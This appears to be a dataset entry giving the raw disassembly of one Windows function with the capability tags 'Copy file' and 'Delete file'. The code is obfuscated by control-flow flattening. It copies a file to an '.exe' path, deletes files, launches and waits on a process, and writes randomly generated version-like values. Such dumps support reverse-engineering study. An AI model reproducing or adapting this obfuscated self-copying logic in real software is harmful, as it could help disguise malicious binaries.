Function at 0x40ed20
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1cb0
call fcn.00413540
mov dword [esp + 0x1c9c], 0
mov dword [esp + 0x1c98], 0
mov dword [esp + 0x1c94], 0
mov dword [esp + 0x1c90], 0
mov dword [esp + 0x1c8c], 0
mov dword [esp + 0x1c88], 0
mov dword [esp + 0x1c84], 0
mov dword [esp + 0x1c80], 0
mov dword [esp + 0x1c7c], 0
mov dword [esp + 0x1c78], 0
mov dword [esp + 0x1c74], 0
mov dword [esp + 0x1c70], 0
mov dword [esp + 0x1c6c], 0
mov dword [esp + 0x1c68], 0
mov dword [esp + 0x1c64], 0
mov dword [esp + 0x1c60], 0
mov dword [esp + 0x1c5c], 0
mov dword [esp + 0x1c58], 0
mov dword [esp + 0x1c1c], 0
lea eax, [esp + 0x1a12]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x1808]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x15fe]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x13f4]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x11ea]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0xfe0]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea edi, [esp + 0xdd6]
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0xbcc]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x9c2]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea esi, [esp + 0x5ae]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea eax, [esp + 0x19a]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00413d20
lea ebx, [esp + 0xd2]
mov dword [esp], ebx
mov dword [esp + 8], 0xc8
mov dword [esp + 4], 0
call fcn.00413d20
mov dword [esp + 0xcc], 0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xbc], 0
mov dword [esp + 0xb8], 0
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb0], 0
mov dword [esp + 0xac], 0
mov dword [esp + 0xa8], 0
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 0
mov word [esp + 0x84], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0xffffffff
call fcn.0040e9d0
mov dword [esp + 0x1ca4], eax
mov dword [esp + 0x54], 0xca963067
jmp 0x40f0b0
mov dword [esp + 0x54], 0xf25fe87a
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x54]
cmp eax, 0x7c922f71
jg 0x40f130
cmp eax, 0x75181c15
jg 0x40f140
cmp eax, 0x728b92a0
jg 0x40f158
cmp eax, 0x6fa12aab
jg 0x40f170
cmp eax, 0x6c4144ba
jg 0x40f180
cmp eax, 0x83537566
jg 0x40f198
cmp eax, 0x816e2996
jne 0x40f0b0
mov eax, dword [esp + 0x1c9c]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0x68], eax
test eax, eax
setne byte [esp + 0x1cab]
mov dword [esp + 0x54], 0xb38788b5
jmp 0x40f0b0
cmp eax, 0x7c922f72
jne 0x40f0b0
jmp 0x40f0a3
cmp eax, 0x75181c16
jne 0x40f0b0
mov dword [esp + 0x54], 0xc8152c17
jmp 0x40f0b0
cmp eax, 0x728b92a1
jne 0x40f0b0
mov dword [esp + 0x54], 0xb942d47c
jmp 0x40f0b0
cmp eax, 0x6fa12aac
jne 0x40f0b0
jmp 0x40fa13
cmp eax, 0x6c4144bb
jne 0x40f0b0
mov dword [esp + 0x54], 0x728b92a1
jmp 0x40f0b0
cmp eax, 0x8c1ce0f1
jg 0x40f1ca
cmp eax, 0x83537567
jne 0x40f0b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 0x8febe8c6
je 0x40f1c1
mov eax, 0x7c922f72
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x64dedf43
jg 0x40f2f0
cmp eax, 0x6424937e
jg 0x40f300
cmp eax, 0x5ffc2e9c
jg 0x40f318
cmp eax, 0x59f6fa68
jg 0x40f330
cmp eax, 0x4a8e4508
jg 0x40f340
cmp eax, 0x474bb982
jg 0x40f37b
cmp eax, 0x33b930fc
jg 0x40f3a3
cmp eax, 0x31eac963
jg 0x40f3bb
cmp eax, 0x2905f801
jg 0x40f3cb
cmp eax, 0x20a19316
jg 0x40f3e3
cmp eax, 0x1fdcad8a
jg 0x40f40b
cmp eax, 0x1d05d9b3
jg 0x40f577
cmp eax, 0x176d3673
jg 0x40f5ae
cmp eax, 0x8c9de7e3
jg 0x40f5d9
cmp eax, 0x8c1ce0f2
jne 0x40f0b0
mov eax, dword [esp + 0x78]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x7b8]
mov dword [esp + 8], eax
lea eax, [esp + 0xfe0]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00403e40
mov dword [esp + 0x64], eax
mov word [esp + eax*2 + 0xfd8], 0
lea eax, [esp + 0xfe0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x1c98], eax
mov ecx, 0x83537567
test eax, eax
jne 0x40f2e7
mov ecx, 0xadea5963
mov dword [esp + 0x54], ecx
jmp 0x40f0b0
cmp eax, 0x64dedf44
jne 0x40f0b0
jmp 0x40fa13
cmp eax, 0x6424937f
jne 0x40f0b0
mov dword [esp + 0x54], 0x20a19317
jmp 0x40f0b0
cmp eax, 0x5ffc2e9d
jne 0x40f0b0
mov dword [esp + 0x54], 0x20a19317
jmp 0x40f0b0
cmp eax, 0x59f6fa69
jne 0x40f0b0
jmp 0x410b5e
cmp eax, 0x4a8e4509
jne 0x40f0b0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
call fcn.0040ed00
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x1ca0], eax
mov dword [esp + 0x54], 0x59f6fa69
jmp 0x40f0b0
cmp eax, 0x474bb983
jne 0x40f0b0
mov eax, 0x176d3674
cmp dword [esp + 0x1c9c], 0
jne 0x40f39a
mov eax, 0x4a8e4509
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x33b930fd
jne 0x40f0b0
mov dword [esp + 0x54], 0xc77ccf04
jmp 0x40f0b0
cmp eax, 0x31eac964
jne 0x40f0b0
jmp 0x40fa13
cmp eax, 0x2905f802
jne 0x40f0b0
mov dword [esp + 0x54], 0xadea5963
jmp 0x40f0b0
cmp eax, 0x20a19317
jne 0x40f0b0
mov eax, 0x918027c2
cmp dword [esp + 0x1c98], 0
jne 0x40f402
mov eax, 0x474bb983
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x1fdcad8b
jne 0x40f0b0
mov dword [esp + 0x1c58], 0x3c
mov dword [esp + 0x1c5c], 0x40
mov dword [esp + 0x1c60], 0
mov dword [esp + 0x1c64], 0x4822fc
mov dword [esp + 0x1c70], 0
mov dword [esp + 0x1c78], 0
lea eax, [esp + 0x3a4]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
lea eax, [esp + 0x3a4]
mov dword [esp], eax
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x482306
mov dword [esp + 4], 0x104
call fcn.00403cc0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
call fcn.00404030
mov dword [esp + 0xc], eax
lea eax, [esp + 0x11ea]
mov dword [esp + 8], eax
lea eax, [esp + 0x3aa]
mov dword [esp], eax
mov dword [esp + 4], 0x101
call fcn.00403cc0
mov eax, dword [0x41e154]
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x41e154]
movzx eax, word [ecx + eax*2 + 2]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x70], eax
mov ecx, dword [0x41e154]
mov edx, dword [esp + 0x74]
lea eax, [ecx + edx*2 + 4]
mov dword [esp + 0x50], eax
add ecx, 2
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0x1808]
mov dword [esp], eax
call fcn.00403410
lea eax, [esp + 0xfe0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x1c98], eax
mov ecx, 0x64dedf44
test eax, eax
je 0x40f56e
mov ecx, 0x1500ca67
mov dword [esp + 0x54], ecx
jmp 0x40f0b0
cmp eax, 0x1d05d9b4
jne 0x40f0b0
mov eax, dword [esp + 0x1c9c]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0x68], eax
mov dword [esp + 0x54], 0x816e2996
jmp 0x40f0b0
cmp eax, 0x176d3674
jne 0x40f0b0
mov eax, dword [esp + 0x1c9c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0x4a8e4509
jmp 0x40f0b0
cmp eax, 0x8ef387a6
jg 0x40f629
cmp eax, 0x8c9de7e4
jne 0x40f0b0
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00403b90
mov dword [esp + 0x78], eax
lea eax, [esp + 0x60]
mov dword [esp], eax
call fcn.0040df10
test eax, eax
mov eax, 0x8c1ce0f2
jne 0x40f620
mov eax, 0x33b930fd
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x8febe8c5
jg 0x40f658
cmp eax, 0x8ef387a7
jne 0x40f0b0
mov eax, 0xcdfcd55f
cmp dword [esp + 0x1c94], 0
je 0x40f64f
mov eax, 0xc040a626
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x918027c1
jg 0x40f68a
cmp eax, 0x8febe8c6
jne 0x40f0b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
sub esp, 4
mov dword [esp + 0x54], 0x7c922f72
jmp 0x40f0b0
cmp eax, 0x99a2c0c3
jg 0x40f6bc
cmp eax, 0x918027c2
jne 0x40f0b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0x474bb983
jmp 0x40f0b0
cmp eax, 0x9cabb2cd
jg 0x40f71b
cmp eax, 0x99a2c0c4
jne 0x40f0b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
mov eax, 0x6424937f
jne 0x40f712
mov eax, 0xc83db373
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x9f21e421
jg 0x40f745
cmp eax, 0x9cabb2ce
jne 0x40f0b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0xc2f42799
jmp 0x40f0b0
cmp eax, 0x1500ca66
jg 0x40f89d
cmp eax, 0x148598f7
jg 0x40f8fa
cmp eax, 0x124832f5
jg 0x40f91d
cmp eax, 0xe91bd10
jg 0x40f935
cmp eax, 0x4376360
jg 0x40f94d
cmp eax, 0x2f0c6c
jg 0x40f965
cmp eax, 0xfe065468
jg 0x40f9f0
cmp eax, 0xf93a0fb2
jg 0x40fa08
cmp eax, 0xf816da06
jg 0x40fa34
cmp eax, 0xf2ba78c2
jg 0x40fb38
cmp eax, 0xf25fe879
jg 0x40fb50
cmp eax, 0xd85ba7ec
jg 0x40fb7b
cmp eax, 0xcdfcd55e
jg 0x40fb93
cmp eax, 0xcc14627e
jg 0x40fc88
cmp eax, 0xcb39d51e
jg 0x40fcb4
cmp eax, 0xca963066
jg 0x40fcdc
cmp eax, 0x9f500afe
jg 0x40fd04
cmp eax, 0x9f21e422
jne 0x40f0b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46c50c]
sub esp, 0x10
lea eax, [esp + 0xbcc]
mov dword [esp + 0x1c68], eax
mov dword [esp + 0x1c6c], 0
mov dword [esp + 0x1c74], 1
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46c510]
sub esp, 4
cmp eax, 1
mov eax, 0x6fa12aac
jne 0x40f894
mov eax, 0x99a2c0c4
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x1500ca67
jne 0x40f0b0
lea eax, [esp + 0x1808]
mov dword [esp + 0x1c68], eax
lea eax, [esp + 0x3a4]
mov dword [esp + 0x1c6c], eax
mov dword [esp + 0x1c74], 0
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46c510]
sub esp, 4
cmp eax, 1
mov eax, 0xf93a0fb3
jne 0x40f8f1
mov eax, 0x9f21e422
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0x148598f8
jne 0x40f0b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0x59f6fa69
jmp 0x40f0b0
cmp eax, 0x124832f6
jne 0x40f0b0
mov dword [esp + 0x54], 0x816e2996
jmp 0x40f0b0
cmp eax, 0xe91bd11
jne 0x40f0b0
mov dword [esp + 0x54], 0xcdfcd55f
jmp 0x40f0b0
cmp eax, 0x4376361
jne 0x40f0b0
mov dword [esp + 0x54], 0x59f6fa69
jmp 0x40f0b0
cmp eax, 0x2f0c6d
jne 0x40f0b0
mov dword [esp + 8], esi
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
sub esp, 0x10
lea eax, [esp + 0x15fe]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.004045e0
lea eax, [esp + 0x15fe]
mov dword [esp], eax
call fcn.00404030
mov dword [esp + 0x6c], eax
mov dword [esp], 0
call fcn.00410b70
mov dword [esp + 0x50], eax
call fcn.00402d80
imul eax, dword [esp + 0x50]
mov dword [esp], eax
call fcn.00413eb2
mov dword [esp + 0x54], 0xf816da07
jmp 0x40f0b0
cmp eax, 0xfe065469
jne 0x40f0b0
mov dword [esp + 0x54], 0x20a19317
jmp 0x40f0b0
cmp eax, 0xf93a0fb3
jne 0x40f0b0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
mov dword [esp], esi
call fcn.0040dc70
mov dword [esp + 0x54], 0x20a19317
jmp 0x40f0b0
cmp eax, 0xf816da07
jne 0x40f0b0
lea eax, [esp + 0xfe0]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
lea eax, [esp + 0xfe0]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00404c30
lea eax, [esp + 0xfe0]
mov dword [esp], eax
call fcn.00404030
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00403cc0
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x6c]
mov edx, 0x104
sub edx, ecx
lea ecx, [esp + ecx*2 + 0xdd6]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xfe0]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call fcn.00403cc0
mov eax, dword [esp + 0x6c]
mov ecx, 0x104
sub ecx, eax
mov edx, dword [esp + 0x58]
sub ecx, edx
lea eax, [esp + eax*2 + 0xdd6]
lea eax, [eax + edx*2]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00403cc0
mov dword [esp + 0x54], 0xaee52b5c
jmp 0x40f0b0
cmp eax, 0xf2ba78c3
jne 0x40f0b0
mov dword [esp + 0x54], 0xc77ccf04
jmp 0x40f0b0
cmp eax, 0xf25fe87a
jne 0x40f0b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0x2905f802
jmp 0x40f0b0
cmp eax, 0xd85ba7ed
jne 0x40f0b0
mov dword [esp + 0x54], 0xc2f42799
jmp 0x40f0b0
cmp eax, 0xcdfcd55f
jne 0x40f0b0
lea eax, [esp + 0x13f4]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
lea eax, [esp + 0x11ea]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
lea eax, [esp + 0x13f4]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00404c30
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
lea eax, [esp + 0x11ea]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00403cc0
lea eax, [esp + 0x13f4]
mov dword [esp], eax
call fcn.00404030
mov ecx, dword [esp + 0x6c]
mov edx, 0x104
sub edx, ecx
lea ecx, [esp + ecx*2 + 0x11ea]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x13f4]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call fcn.00403cc0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [0x46c508]
sub esp, 8
mov dword [esp + 0x1c94], eax
mov dword [esp + 0x54], 0x8ef387a7
jmp 0x40f0b0
cmp eax, 0xcc14627f
jne 0x40f0b0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
mov dword [esp], esi
call fcn.0040dc70
mov dword [esp + 0x54], 0xc8152c17
jmp 0x40f0b0
cmp eax, 0xcb39d51f
jne 0x40f0b0
mov eax, 0x75181c16
cmp dword [esp + 0x68], 0x80
jne 0x40fcd3
mov eax, 0x1fdcad8b
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0xca963067
jne 0x40f0b0
mov eax, 0xd85ba7ed
cmp dword [esp + 0x1ca4], 0
js 0x40fcfb
mov eax, 0x8c9de7e4
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0xadea5962
jg 0x40fd6e
cmp eax, 0x9f500aff
jne 0x40f0b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46c50c]
sub esp, 0x10
mov dword [esp + 0x5c], 1
mov dword [esp + 0x54], 0x20a19317
jmp 0x40f0b0
cmp eax, 0xaee52b5b
jg 0x40fd98
cmp eax, 0xadea5963
jne 0x40f0b0
mov dword [esp + 0x1ca0], 0
mov dword [esp + 0x54], 0x59f6fa69
jmp 0x40f0b0
cmp eax, 0xb38788b4
jg 0x40fdd9
cmp eax, 0xaee52b5c
jne 0x40f0b0
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 8], 1
call dword [sym.imp.KERNEL32.dll_CopyFileW]
sub esp, 0xc
test eax, eax
mov eax, 0xf816da07
je 0x40fdd0
mov eax, 0xe91bd11
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0xb51459e7
jg 0x40fdf8
cmp eax, 0xb38788b5
jne 0x40f0b0
mov dword [esp + 0x54], 0x728b92a1
jmp 0x40f0b0
cmp eax, 0xb942d47b
jg 0x40fe2a
cmp eax, 0xb51459e8
jne 0x40f0b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0xf25fe87a
jmp 0x40f0b0
cmp eax, 0xbaa6c587
jg 0x40fe5a
cmp eax, 0xb942d47c
jne 0x40f0b0
mov al, byte [esp + 0x1cab]
test al, al
mov eax, 0xcb39d51f
jne 0x40fe51
mov eax, 0x1fdcad8b
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0xc040a625
jg 0x40fe8a
cmp eax, 0xbaa6c588
jne 0x40f0b0
mov al, byte [esp + 0x1caa]
test al, al
mov eax, 0x148598f8
jne 0x40fe81
mov eax, 0x2f0c6d
mov dword [esp + 0x54], eax
jmp 0x40f0b0
cmp eax, 0xc2f42798
jg 0x410a11
cmp eax, 0xc040a626
jne 0x40f0b0
mov eax, dword [0x46c33c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c364]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c54]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 1
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c34c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c364]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c50]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c350]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c364]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c4c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c33c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c360]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c48]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c330]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c370]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c44]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c33c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c374]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c40]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c380]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c378]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c3c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c37c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c378]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c38]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [0x46c37c]
mov dword [esp + 0x50], eax
mov ecx, dword [0x46c364]
mov edx, dword [esp + 0x1c94]
lea eax, [esp + 0x1c34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
call dword [0x46c4fc]
sub esp, 0x18
mov eax, dword [esp + 0x1c94]
mov dword [esp], eax
call dword [0x46c4f8]
sub esp, 4
call fcn.00413e8f
and eax, 0xf
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], 0xa
call fcn.00414844
mov dword [esp], ebx
call fcn.00404030
mov dword [esp + 0x78], eax
lea ecx, [eax + 1]
mov dword [esp + 0x78], ecx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea eax, [esp + eax*2 + 0xd2]
mov dword [esp + 0x50], eax
call fcn.00413e8f
and eax, 1
mov ecx, dword [esp + 0x50]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 0xa
call fcn.00414844
mov dword [esp], ebx
call fcn.00404030
mov dword [esp + 0x78], eax
lea ecx, [eax + 1]
mov dword [esp + 0x78], ecx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea eax, [esp + eax*2 + 0xd2]
mov dword [esp + 0x50], eax
call fcn.00413e8f
and eax, 5
mov ecx, dword [esp + 0x50]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 0xa
call fcn.00414844
mov dword [esp], ebx
call fcn.00404030
mov dword [esp + 0x78], eax
lea ecx, [eax + 1]
mov dword [esp + 0x78], ecx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea eax, [esp + eax*2 + 0xd2]
mov dword [esp + 0x50], eax
call fcn.00413e8f
and eax, 0xc
mov ecx, dword [esp + 0x50]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 0xa
call fcn.00414844
mov dword [esp], ebx
call fcn.00404030
mov dword [esp + 0x78], eax
mov eax, dword [0x41e134]
movzx eax, byte [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x41e134]
movzx eax, byte [eax + ecx + 1]
mov dword [esp + 0x70], eax
mov ecx, dword [0x41e134]
mov edx, dword [esp + 0x74]
lea edx, [ecx + edx + 2]
inc ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
lea eax, [esp + 0x98]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.00403190
mov eax, dword [0x46c358]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f4]
sub esp, 8
mov dword [esp + 0x1c30], eax
mov eax, dword [0x46c388]
mov ecx, dword [0x46c338]
mov edx, dword [esp + 0x1c94]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0xc], 0
call dword [0x46c4ec]
sub esp, 0x10
mov eax, dword [0x46c354]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c33c]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0x13f4]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c334]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 1
call dword [0x46c4e4]
sub esp, 0xc
mov eax, dword [0x46c384]
